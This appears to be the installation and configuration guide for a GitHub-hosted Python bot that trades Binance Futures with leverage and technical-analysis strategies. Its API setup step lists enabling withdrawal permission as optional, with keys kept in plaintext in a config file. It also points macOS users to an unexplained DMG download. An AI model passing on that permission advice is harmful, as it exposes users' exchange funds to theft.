Binance Futures Trading Bot - Installation Guide

Technical-analysis–driven crypto trading bot for Binance Futures.

System Requirements

• Operating System: Windows 7/8/10/11
• Python: 3.7 or higher
• Internet Connection: Required for API communication
• Time Sync: Critical for live trading on Windows

Windows Time Synchronization

Configure Windows to sync time daily, or Binance may reject orders due to timestamp drift.

1. Go to Start and type "Task Scheduler"
2. Create a new task to sync time periodically
3. Set to run w32tm /resync daily

Installation

Step 1: Clone Repository

Windows and Linux instructions follow; for macOS, please use the DMG file.

Ensure Git & Python are on the computer.

Get Git: https://git-scm.com/install/windows

Get Python: https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe

Run GIT CMD.

git clone https://github.com/thomasdutraa07/Trading-Bot-for-Binance-Future.git
cd Trading-Bot-for-Binance-Future

Step 2: Install Dependencies

py -m pip install -r requirements.txt

This will install all required packages:

• python-binance - Binance API wrapper
• colorlog - Colored logging output
• pandas - Data analysis
• ta - Technical analysis library
• Other dependencies

Step 3: Configure Binance API

1. Create a Binance account at https://binance.com
2. Go to API Management in account settings
3. Click Create API
4. Enable the following permissions:
   • Read
   • Trade
   • Futures
   • Withdrawals (optional)
5. Save your API Key and Secret Key

Step 4: Configure Bot Settings

Edit LiveTradingConfig.py with your settings:

# Binance API credentials
api_key = 'your_api_key_here'
api_secret = 'your_secret_key_here'

# Trading parameters
leverage = 10
order_size = 20  # in USDT
max_number_of_positions = 1

# Strategy selection
trading_strategy = 'tripleEMAStochasticRSIATR'

# Symbols to trade
trade_all_symbols = False
symbols_to_trade = ['BTCUSDT', 'ETHUSDT']

Step 5: Run the Bot

py LiveTrading.py

The bot will start monitoring the market and executing trades based on your configured strategy.

Configuration Guide

Trading Parameters

max_number_of_positions

• Set to 1 for single-position trading
• Increase to trade multiple symbols simultaneously

leverage

• Adjust leverage multiplier (e.g., 5, 10, 20)
• Higher leverage = higher risk

order_size

• Position size in USDT
• Start small while testing strategies

symbols_to_trade

• List of trading pairs: ['BTCUSDT', 'ETHUSDT', 'BNBUSDT']
• Set trade_all_symbols = True to trade all available symbols

Trailing Stop Configuration

Enable trailing stop to lock in profits:

use_trailing_stop = True
trailing_stop_callback = 0.5  # 0.5% callback

• Minimum value: 0.001 (0.1%)
• Maximum value: 5 (5%)
• Trailing stop activates when take-profit margin is reached

Take Profit / Stop Loss Modes

TP_SL_choice options:

• 'USDT' - Fixed USDT amount
• '%' - Percentage of position
• 'x (ATR)' - Multiple of Average True Range
• 'x (Swing High/Low) level 1/2/3' - Based on swing points
• 'x (Swing Close) level 1/2/3' - Based on close prices

Multipliers:

• SL_mult - Stop loss multiplier
• TP_mult - Take profit multiplier

Example:

TP_SL_choice = 'USDT'
SL_mult = 1  # Stop loss at -$1
TP_mult = 2  # Take profit at +$2

Available Strategies (11)

1. StochRSIMACD
2. tripleEMAStochasticRSIATR
3. tripleEMA
4. breakout
5. stochBB
6. goldenCross
7. candle_wick
8. fibMACD
9. EMA_cross
10. heikin_ashi_ema2
11. heikin_ashi_ema

Select strategy in LiveTradingConfig.py:

trading_strategy = 'tripleEMAStochasticRSIATR'

Timeframe Selection

interval - Trading timeframe:

• 1m, 3m, 5m, 15m, 30m - Short-term
• 1h, 2h, 4h - Medium-term
• 6h, 8h, 12h, 1d - Long-term

Creating Custom Strategies

Step 1: Implement Strategy

Add your strategy function to TradingStrats.py:

def my_custom_strategy(df, current_price):
    # Your strategy logic here
    
    # Calculate entry signals
    if buy_condition:
        direction = 'LONG'
    elif sell_condition:
        direction = 'SHORT'
    else:
        direction = None
    
    # Calculate SL and TP
    stop_loss = current_price * 0.98
    take_profit = current_price * 1.02
    
    return direction, stop_loss, take_profit

Step 2: Register Strategy

Reference your strategy in Bot_Class.Bot.make_decision().

Required Return Values

Your strategy must return:

• Trade_Direction - 'LONG', 'SHORT', or None
• stop_loss_val - Stop loss price
• take_profit_val - Take profit price

Troubleshooting

"Timestamp for this request was 1000ms ahead"

• Sync Windows time as described above
• Check system clock accuracy

"API key does not have permission"

• Enable Futures permission in API settings
• Recreate API key with correct permissions

Bot not opening positions

• Verify sufficient balance in Futures wallet
• Check strategy signals are generating
• Review logs in console output

Orders rejected

• Check minimum order size for symbol
• Verify leverage settings are allowed
• Ensure balance covers margin requirements

Risk Warning

⚠️ Use at your own risk

• Futures trading is highly leveraged and risky
• Always use stop losses
• Start with small position sizes
• Test strategies thoroughly before live trading
• Never invest more than you can afford to lose

Support

• Repository: https://github.com/thomasdutraa07/Trading-Bot-for-Binance-Future
• Issues: https://github.com/thomasdutraa07/Trading-Bot-for-Binance-Future/issues

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